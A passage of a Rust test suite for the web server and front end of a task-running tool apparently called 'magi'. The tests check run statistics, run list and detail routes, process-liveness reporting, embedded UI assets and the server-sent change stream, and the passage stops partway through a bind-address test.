7931 assert_eq!(alpha["strong"], 1);
7932 assert_eq!(alpha["faint"], 0);
7933 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7934 }
7935
7936 #[tokio::test]
7937 async fn stats_release_bumps_split_clean_from_attention() {
7938 use crate::run::ReleaseBump;
7939
7940 let f = Fixture::start().await;
7941
7942 let mut clean = RunState::new(
7943 PathBuf::from("/repo/magi"),
7944 "main".to_owned(),
7945 "0123456789abcdef".to_owned(),
7946 "task".to_owned(),
7947 Config::default(),
7948 );
7949 clean.id = "20260902-140501-a".to_owned();
7950 clean.status = RunStatus::Merged;
7951 clean.release_bump = Some(ReleaseBump {
7952 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7953 version: Some("1.0.0".to_owned()),
7954 automerge_enabled: true,
7955 merged_directly: false,
7956 problem: None,
7957 action_required: None,
7958 });
7959
7960 let mut blocked = RunState::new(
7961 PathBuf::from("/repo/magi"),
7962 "main".to_owned(),
7963 "0123456789abcdef".to_owned(),
7964 "task".to_owned(),
7965 Config::default(),
7966 );
7967 blocked.id = "20260902-140502-b".to_owned();
7968 blocked.status = RunStatus::Merged;
7969 blocked.release_bump = Some(ReleaseBump {
7970 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7971 version: Some("1.0.1".to_owned()),
7972 automerge_enabled: false,
7973 merged_directly: false,
7974 problem: Some("checks red".to_owned()),
7975 action_required: Some("look at the PR".to_owned()),
7976 });
7977
7978 for state in [&clean, &blocked] {
7979 let dir = f.runs().join(&state.id);
7980 std::fs::create_dir_all(&dir).expect("run dir");
7981 std::fs::write(
7982 dir.join("run.json"),
7983 serde_json::to_string_pretty(state).expect("serialize run"),
7984 )
7985 .expect("write run.json");
7986 }
7987
7988 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7989 assert_eq!(bumps["merged"], 2);
7990 assert_eq!(bumps["recorded"], 2);
7991 assert_eq!(bumps["pr_opened"], 2);
7992 assert_eq!(bumps["automerge_enabled"], 1);
7993 assert_eq!(bumps["needs_attention"], 1);
7994 assert_eq!(bumps["clean"], 1);
7995 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7996 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7997 }
7998
7999 #[tokio::test]
8000 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8001 let f = Fixture::start().await;
8002 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8003
8004 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8005 assert_eq!(bumps["merged"], 1);
8006 assert_eq!(bumps["recorded"], 0);
8007 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8010 assert_eq!(bumps["automerge_rate"], Value::Null);
8013 assert_eq!(bumps["attention_rate"], Value::Null);
8014 }
8015
8016 #[tokio::test]
8017 async fn stats_queue_counts_come_from_the_live_queue() {
8018 let f = Fixture::start().await;
8019 let q = f.queue();
8020 let mut queued = Task::new(
8021 "queued task".to_owned(),
8022 "do it".to_owned(),
8023 PathBuf::from("/repo"),
8024 Source::Human,
8025 );
8026 q.put(&mut queued).expect("put queued");
8027 let mut held = Task::new(
8028 "held task".to_owned(),
8029 "do it later".to_owned(),
8030 PathBuf::from("/repo"),
8031 Source::Human,
8032 );
8033 held.hold_machine(Some("out of attempts".to_owned()));
8034 q.put(&mut held).expect("put held");
8035
8036 let queue = f.get("/api/stats").await.json()["queue"].clone();
8037 assert_eq!(queue["queued"], 1);
8038 assert_eq!(queue["held"], 1);
8039 assert_eq!(queue["running"], 0);
8040 assert_eq!(queue["done"], 0);
8041 assert_eq!(queue["failed"], 0);
8042 assert_eq!(queue["blocked"], 0);
8043 }
8044
8045 #[tokio::test]
8046 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8047 let f = Fixture::start().await;
8048 let stats = f.get("/api/stats").await;
8049 assert_eq!(stats.status, 200);
8050 assert_eq!(stats.json()["totals"]["runs"], 0);
8051 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8052 assert_eq!(stats.json()["runs_unreadable"], 0);
8053 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8054 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8055 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8056 assert_eq!(stats.json()["repo"], Value::Null);
8057 }
8058
8059 #[tokio::test]
8060 async fn stats_lists_every_repository_with_runs_recorded() {
8061 let f = Fixture::start().await;
8062 write_run_repo(
8063 &f.runs(),
8064 "20260902-140501-a",
8065 RunStatus::Merged,
8066 "/repos/a",
8067 );
8068 write_run_repo(
8069 &f.runs(),
8070 "20260902-140502-b",
8071 RunStatus::Merged,
8072 "/repos/a",
8073 );
8074 write_run_repo(
8075 &f.runs(),
8076 "20260902-140503-c",
8077 RunStatus::Blocked,
8078 "/repos/b",
8079 );
8080
8081 let stats = f.get("/api/stats").await;
8082 assert_eq!(stats.status, 200);
8083 assert_eq!(stats.json()["totals"]["runs"], 3);
8085 assert_eq!(stats.json()["repo"], Value::Null);
8086
8087 let repos = stats.json()["repos"].clone();
8088 let repos = repos.as_array().unwrap();
8089 assert_eq!(repos.len(), 2);
8090 assert_eq!(repos[0]["repo"], "/repos/a");
8092 assert_eq!(repos[0]["name"], "a");
8093 assert_eq!(repos[0]["runs"], 2);
8094 assert_eq!(repos[1]["repo"], "/repos/b");
8095 assert_eq!(repos[1]["runs"], 1);
8096 }
8097
8098 #[tokio::test]
8099 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8100 let f = Fixture::start().await;
8101 write_run_repo(
8102 &f.runs(),
8103 "20260902-140501-a",
8104 RunStatus::Merged,
8105 "/repos/a",
8106 );
8107 write_run_repo(
8108 &f.runs(),
8109 "20260902-140502-b",
8110 RunStatus::Blocked,
8111 "/repos/b",
8112 );
8113
8114 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8115 assert_eq!(stats.status, 200);
8116 assert_eq!(stats.json()["totals"]["runs"], 1);
8117 assert_eq!(stats.json()["totals"]["merged"], 1);
8118 assert_eq!(stats.json()["repo"], "/repos/a");
8119 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8122 assert_eq!(stats.json()["runs_unreadable"], 0);
8125 }
8126
8127 #[tokio::test]
8128 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8129 let f = Fixture::start().await;
8130 write_run_repo(
8131 &f.runs(),
8132 "20260902-140501-a",
8133 RunStatus::Merged,
8134 "/repos/a",
8135 );
8136
8137 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8138 assert_eq!(stats.status, 404);
8139 }
8140
8141 #[tokio::test]
8142 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8143 let f = Fixture::start().await;
8144 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8145
8146 let summary = f.get("/api/runs").await.json();
8147 let row = &summary[0];
8148 assert_eq!(row["short"], "a1b2");
8149 assert_eq!(row["status"], "ready");
8150 assert_eq!(row["done"], true);
8151 assert_eq!(row["title"], "Add a web UI");
8152 assert_eq!(row["repo_name"], "magi");
8153 assert_eq!(row["judges"], 3);
8154 assert_eq!(row["winner"], Value::Null);
8155 assert_eq!(row["reviews"], 0);
8156
8157 let detail = f.get("/api/runs/a1b2").await;
8160 assert_eq!(detail.status, 200);
8161 assert_eq!(detail.json()["base_branch"], "main");
8162 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8163 }
8164
8165 #[tokio::test]
8173 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8174 let f = Fixture::start().await;
8175
8176 let mut none_run = RunState::new(
8177 PathBuf::from("/repo/magi"),
8178 "main".to_owned(),
8179 "0123456789abcdef".to_owned(),
8180 "Add a web UI".to_owned(),
8181 Config::default(),
8182 );
8183 none_run.id = "20260902-140503-none".to_owned();
8184 none_run.status = RunStatus::Ready;
8185 none_run.merge = Some(crate::run::MergeOutcome {
8186 mode: crate::config::MergeMode::None,
8187 ok: true,
8188 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8189 empty: false,
8190 });
8191 write_state(&f.runs(), &none_run);
8192
8193 let mut pr_run = RunState::new(
8194 PathBuf::from("/repo/magi"),
8195 "main".to_owned(),
8196 "0123456789abcdef".to_owned(),
8197 "Add a web UI".to_owned(),
8198 Config::default(),
8199 );
8200 pr_run.id = "20260902-140504-prcl".to_owned();
8201 pr_run.status = RunStatus::Ready;
8202 pr_run.merge = Some(crate::run::MergeOutcome {
8203 mode: crate::config::MergeMode::Pr,
8204 ok: false,
8205 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8206 empty: false,
8207 });
8208 write_state(&f.runs(), &pr_run);
8209
8210 let summary = f.get("/api/runs").await.json();
8211 let rows: std::collections::HashMap<&str, &Value> = summary
8212 .as_array()
8213 .expect("an array")
8214 .iter()
8215 .map(|r| (r["id"].as_str().expect("an id"), r))
8216 .collect();
8217 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8218 assert_eq!(
8219 rows[none_run.id.as_str()]["unmerged_by_design"],
8220 true,
8221 "a mode-none Ready must be flagged in the list"
8222 );
8223 assert_eq!(
8224 rows[pr_run.id.as_str()]["unmerged_by_design"],
8225 false,
8226 "a Ready reached by a closed pull request is a different case"
8227 );
8228
8229 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8230 assert_eq!(none_detail["status"], "ready");
8231 assert_eq!(none_detail["unmerged_by_design"], true);
8232
8233 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8234 assert_eq!(pr_detail["unmerged_by_design"], false);
8235 }
8236
8237 #[tokio::test]
8242 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8243 let f = Fixture::start().await;
8244 let id = "20260902-140502-bbbb";
8248 let mut state = RunState::new(
8249 PathBuf::from("/repo/magi"),
8250 "main".to_owned(),
8251 "0123456789abcdef".to_owned(),
8252 "Add a web UI".to_owned(),
8253 Config::default(),
8254 );
8255 state.id = id.to_owned();
8256 state.status = RunStatus::Judging;
8257 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8258 let dir = f.runs().join(id);
8259 std::fs::create_dir_all(&dir).expect("run dir");
8260 std::fs::write(
8261 dir.join("run.json"),
8262 serde_json::to_string_pretty(&state).expect("serialize run"),
8263 )
8264 .expect("write run.json");
8265
8266 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8272 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8273 assert_eq!(cold["live"], "unknown", "{cold}");
8274
8275 write_daemon(f.home.path(), Timestamp::now());
8278 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8279 assert_eq!(warm["live"], "live", "{warm}");
8280 }
8281
8282 #[tokio::test]
8289 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8290 let f = Fixture::start().await;
8291 let id = "20260922-090000-cccc";
8292 let mut state = RunState::new(
8293 PathBuf::from("/repo/magi"),
8294 "main".to_owned(),
8295 "0123456789abcdef".to_owned(),
8296 "Review only".to_owned(),
8297 Config::default(),
8298 );
8299 state.id = id.to_owned();
8300 state.status = RunStatus::Reviewing;
8301 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8302 state.driver_pid = Some(std::process::id());
8308 state.driver_started_at = Some(
8309 crate::proc::process_started_at(std::process::id())
8310 .expect("this test process's own start time must be queryable"),
8311 );
8312 let dir = f.runs().join(id);
8313 std::fs::create_dir_all(&dir).expect("run dir");
8314 std::fs::write(
8315 dir.join("run.json"),
8316 serde_json::to_string_pretty(&state).expect("serialize run"),
8317 )
8318 .expect("write run.json");
8319
8320 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8321 assert_eq!(detail["live"], "live", "{detail}");
8322 }
8323
8324 #[tokio::test]
8330 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8331 let f = Fixture::start().await;
8332 let id = "20260922-090100-dddd";
8333 let mut state = RunState::new(
8334 PathBuf::from("/repo/magi"),
8335 "main".to_owned(),
8336 "0123456789abcdef".to_owned(),
8337 "Review only".to_owned(),
8338 Config::default(),
8339 );
8340 state.id = id.to_owned();
8341 state.status = RunStatus::Reviewing;
8342 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8343 state.driver_pid = Some(std::process::id());
8348 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8349 let dir = f.runs().join(id);
8350 std::fs::create_dir_all(&dir).expect("run dir");
8351 std::fs::write(
8352 dir.join("run.json"),
8353 serde_json::to_string_pretty(&state).expect("serialize run"),
8354 )
8355 .expect("write run.json");
8356
8357 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8358 assert_eq!(detail["live"], "dead", "{detail}");
8359 }
8360
8361 #[test]
8365 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8366 let mk = |id: &str, pid: Option<u32>| {
8367 let mut s = RunState::new(
8368 PathBuf::from("/repo/magi"),
8369 "main".to_owned(),
8370 "0123456789abcdef".to_owned(),
8371 "Add a web UI".to_owned(),
8372 Config::default(),
8373 );
8374 s.id = id.to_owned();
8375 s.driver_pid = pid;
8376 s.driver_started_at = Some("t0".to_owned());
8377 s
8378 };
8379 let states = vec![
8380 mk("20260902-140502-aaaa", Some(77)),
8381 mk("20260902-140502-bbbb", Some(77)),
8382 mk("20260902-140502-cccc", Some(77)),
8383 mk("20260902-140502-dddd", None),
8384 ];
8385 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8386 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8387 let sup: HashMap<String, String> = [(
8388 "20260902-140502-aaaa".to_owned(),
8389 "20260902-140502-cccc".to_owned(),
8390 )]
8391 .into();
8392
8393 let status_calls = std::cell::Cell::new(0);
8394 let identity_calls = std::cell::Cell::new(0);
8395 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8396 |_| {
8397 status_calls.set(status_calls.get() + 1);
8398 Some(true)
8399 },
8400 |_| {
8401 identity_calls.set(identity_calls.get() + 1);
8402 Some("t0".to_owned())
8403 },
8404 ));
8405 let rows = summarize(
8406 states,
8407 &open,
8408 &claimed,
8409 &sup,
8410 |p| probe.borrow_mut().status(p),
8411 |p| probe.borrow_mut().started_at(p),
8412 );
8413
8414 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8415 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8416 assert_eq!(rows.len(), 4);
8417 assert!(!rows[0].waiting && rows[1].waiting);
8418 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8419 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8420 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8421 assert_eq!(rows[1].superseded_by, None);
8422 }
8423
8424 #[test]
8425 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8426 let mut state = RunState::new(
8427 PathBuf::from("/repo/magi"),
8428 "main".to_owned(),
8429 "0123456789abcdef".to_owned(),
8430 "Review only".to_owned(),
8431 Config::default(),
8432 );
8433 state.id = "20260922-090200-dead".to_owned();
8434 state.status = RunStatus::Reviewing;
8435 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8436 .expect("serialize list row");
8437 assert_eq!(row["status"], "reviewing");
8438 assert_eq!(row["live"], "dead", "{row}");
8439 assert!(!row["done"].as_bool().unwrap());
8440 }
8441
8442 #[tokio::test]
8443 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8444 let f = Fixture::start().await;
8445 for id in [
8446 "20260902-140501-aaaa",
8447 "20260902-140502-bbbb",
8448 "20260902-140503-cccc",
8449 ] {
8450 write_run(&f.runs(), id, RunStatus::Merged);
8451 }
8452
8453 let all = f.get("/api/runs").await.json();
8454 let capped = f.get("/api/runs?limit=2").await.json();
8455
8456 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8457 assert_eq!(all.as_array().map(Vec::len), Some(3));
8458 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8459 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8460 }
8461
8462 #[tokio::test]
8463 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8464 let f = Fixture::start().await;
8465 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8466
8467 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8468
8469 assert_eq!(res.status, 200);
8470 assert!(
8471 res.headers
8472 .contains("content-type: text/plain; charset=utf-8"),
8473 "a browser must render it, not download it: {}",
8474 res.headers
8475 );
8476 assert!(
8480 res.body.contains("20260902-140501-a1b2"),
8481 "the report is about the run that was asked for: {}",
8482 res.body
8483 );
8484 }
8485
8486 #[tokio::test]
8487 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8488 let f = Fixture::start().await;
8489
8490 let html = f.get("/").await;
8491 let css = f.get("/app.css").await;
8492 let js = f.get("/app.js").await;
8493
8494 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8495 assert!(
8496 html.headers
8497 .contains("content-type: text/html; charset=utf-8")
8498 );
8499 assert!(css.headers.contains("content-type: text/css"));
8500 assert!(js.headers.contains("content-type: text/javascript"));
8501 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8502 }
8503
8504 #[test]
8505 fn review_rounds_label_a_distinct_verified_head() {
8506 assert!(APP_JS.contains("round.verified_head"));
8507 assert!(APP_JS.contains("verified HEAD"));
8508 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8509 }
8510
8511 #[test]
8512 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8513 assert!(APP_JS.contains("blocked: { glyph:"));
8517 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8518
8519 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8523 assert!(
8524 APP_JS.contains(
8525 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8526 ),
8527 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8528 );
8529 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8533
8534 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8538 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8539 assert!(
8540 APP_JS.contains("location.hash = \"#/questions\";"),
8541 "a question node must jump to the Questions screen, not pretend to be a task"
8542 );
8543
8544 assert!(APP_JS.contains("Resolved questions"));
8547 assert!(APP_JS.contains("r.answersList.append("));
8548 assert!(APP_CSS.contains(".task-answers"));
8549 {
8550 let start = APP_JS
8551 .find("function updateTalkTaskRow")
8552 .expect("updateTalkTaskRow");
8553 let body = &APP_JS[start..start + 900];
8554 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
8555 assert!(body.contains("setAttr(r.link, \"href\""));
8556 assert!(body.contains(
8557 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
8558 ));
8559 assert!(
8560 !body.contains(": \"#/queue\""),
8561 "a task with no run must link to its own queue card, not the bare queue"
8562 );
8563 assert!(APP_CSS.contains(".talk-task-link"));
8564 }
8565 }
8566
8567 #[test]
8568 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8569 assert!(
8574 APP_JS.contains(
8575 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8576 ),
8577 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8578 );
8579 assert!(
8580 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8581 "regression: the task link must not go back to naming the bare Backlog route"
8582 );
8583
8584 assert!(
8587 APP_JS.contains(
8588 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8589 ),
8590 "`#/queue/<id>` must parse into a route carrying that id"
8591 );
8592
8593 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8597 assert!(APP_JS.contains("function consumeQueueFocus()"));
8598 assert!(APP_JS.contains("jumpToTask(id)"));
8599 }
8600
8601 #[test]
8602 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8603 assert!(
8612 APP_JS.contains(
8613 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
8614 ),
8615 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8616 recursive renderQueue() call has nothing left to jump to"
8617 );
8618 assert!(
8619 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
8620 "state.queueFocus must be cleared only once the jump has landed, so a card that \
8621 arrives later still gets it"
8622 );
8623 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
8624 assert!(APP_JS.contains("is not in the current Backlog."));
8625 assert!(APP_JS.contains("li.card[data-task-id=\""));
8626 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
8627 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
8628 assert!(APP_CSS.contains(".card-permalink"));
8629 assert!(APP_CSS.contains(".queue-focus-status"));
8630 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
8631 }
8632
8633 #[test]
8634 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8635 assert!(
8643 APP_JS.contains(
8644 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8645 ),
8646 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8647 );
8648 }
8649
8650 #[test]
8651 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8652 assert!(
8653 APP_JS.contains("round.verified_head !== round.head"),
8654 "a round that verified an earlier commit must be visibly distinct from one that \
8655 verified the head reviewers are looking at now"
8656 );
8657 assert!(
8658 APP_JS.contains("round.verified_at"),
8659 "when a check ran must be on the wire, not just which commit"
8660 );
8661 assert!(
8662 APP_JS.contains("resource_blocked"),
8663 "a command magi never got to run (shared build cache contention) must not render \
8664 the same as a command that ran and failed"
8665 );
8666 }
8667
8668 #[test]
8669 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8670 assert!(
8678 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8679 "every KPI tile built through statusTile() must route its click through \
8680 openRunsFiltered, the single place that sets the Runs filter"
8681 );
8682 for (label, status) in [
8683 ("Merged", "merged"),
8684 ("Ready", "ready"),
8685 ("Blocked", "blocked"),
8686 ("Stalled", "stalled"),
8687 ] {
8688 let call = format!("statusTile(\"{label}\", t.{status}, ");
8689 assert!(
8690 APP_JS.contains(&call),
8691 "expected the {label} KPI tile built via {call}..."
8692 );
8693 assert!(
8694 APP_JS.contains(&format!("status === \"{status}\"")),
8695 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8696 compare a run against, not one invented only for the stats tile"
8697 );
8698 }
8699 assert!(
8700 APP_JS.contains("function openRunsFiltered(status)"),
8701 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8702 );
8703 assert!(
8704 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8705 "matchesFilter must gate on the exact status a KPI tile named"
8706 );
8707 assert!(
8715 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8716 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8717 hashchange event that may never fire"
8718 );
8719 }
8720
8721 #[test]
8722 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8723 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8729 assert!(
8730 APP_JS.contains(
8731 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8732 ),
8733 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8734 guard for an incompatible tree section"
8735 );
8736 }
8737
8738 #[test]
8739 fn every_stats_queue_tile_names_a_real_queue_section() {
8740 assert!(
8746 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8747 "every queue tile built through sectionTile() must route its click through \
8748 openQueueSectionFocus"
8749 );
8750 for key in ["upnext", "running", "done", "held", "blocked"] {
8751 assert!(
8752 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8753 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8754 );
8755 }
8756 for line in [
8760 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8761 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8762 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8763 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8764 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8765 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8766 ] {
8767 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8768 }
8769 }
8770
8771 #[test]
8772 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8773 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8780 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8781 assert!(APP_JS.contains("function revealQueueSection(details)"));
8782 assert!(
8783 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8784 "renderQueue() must consume both focus channels on every pass"
8785 );
8786 assert!(
8787 APP_JS.contains(
8788 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8789 ),
8790 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8791 the recursive renderQueue() call has nothing left to reveal"
8792 );
8793 assert!(
8794 APP_JS.contains(
8795 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8796 ),
8797 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8798 );
8799 assert!(
8807 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8808 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8809 hashchange event that may never fire"
8810 );
8811 }
8812
8813 #[tokio::test]
8814 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8815 let f = Fixture::start().await;
8816
8817 let mut socket = tokio::net::TcpStream::connect(f.addr)
8818 .await
8819 .expect("connect");
8820 socket
8821 .write_all(
8822 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8823 )
8824 .await
8825 .expect("write request");
8826
8827 let mut seen = String::new();
8830 let mut buf = [0u8; 1024];
8831 while !seen.contains("event: change") {
8832 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8833 .await
8834 .expect("the stream must speak within five seconds")
8835 .expect("read");
8836 assert!(read > 0, "the server closed the change stream: {seen}");
8837 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8838 }
8839
8840 assert!(
8841 seen.to_lowercase()
8842 .contains("content-type: text/event-stream"),
8843 "the browser only reconnects automatically for a real SSE stream: {seen}"
8844 );
8845 let data = seen
8846 .lines()
8847 .find_map(|l| l.strip_prefix("data:"))
8848 .expect("a data line");
8849 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8850 assert!(
8851 payload["queue_rev"].is_u64()
8852 && payload["runs_rev"].is_u64()
8853 && payload["questions_rev"].is_u64()
8854 && payload["talks_rev"].is_u64()
8855 && payload["notifications_rev"].is_u64()
8856 && payload["loop_rev"].is_u64(),
8857 "the client needs one revision per store to know what to refetch, \
8858 and `talks_rev` is the only notification a standing talk gets - a \
8859 phone whose radio slept through a turn learns about it here, as \
8860 does one whose operator started the loop from another device: \
8861 {payload}"
8862 );
8863
8864 let health = f.get("/api/health").await.json();
8871 for key in [
8872 "queue_rev",
8873 "runs_rev",
8874 "questions_rev",
8875 "talks_rev",
8876 "notifications_rev",
8877 "loop_rev",
8878 ] {
8879 assert!(
8880 health[key].is_u64(),
8881 "health is the change stream's fallback and is missing `{key}`: {health}"
8882 );
8883 }
8884 }
8885
8886 #[tokio::test]
8887 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8888 let f = Fixture::start().await;
8889 let before = f.get("/api/health").await.json()["talks_rev"]
8890 .as_u64()
8891 .expect("talks_rev");
8892
8893 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8894 std::thread::sleep(Duration::from_millis(10));
8895 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8896 on_disk.turns.push(crate::talk::Turn {
8897 who: crate::talk::Who::Operator,
8898 body: "a new turn".to_owned(),
8899 at: Timestamp::now(),
8900 attachments: Vec::new(),
8901 });
8902 f.talks().put(&mut on_disk).expect("record a turn");
8903
8904 let after = f.get("/api/health").await.json()["talks_rev"]
8905 .as_u64()
8906 .expect("talks_rev");
8907 assert_ne!(
8908 before, after,
8909 "a phone must be able to notice a talk's reply without polling every store"
8910 );
8911 }
8912
8913 #[test]
8914 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8915 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8919 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8920 }
8921 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8922 assert!("everywhere".parse::<Bind>().is_err());
8923 }
8924
8925 #[test]
8926 fn an_explicit_bind_address_is_taken_verbatim() {
8927 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8928
8929 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8930
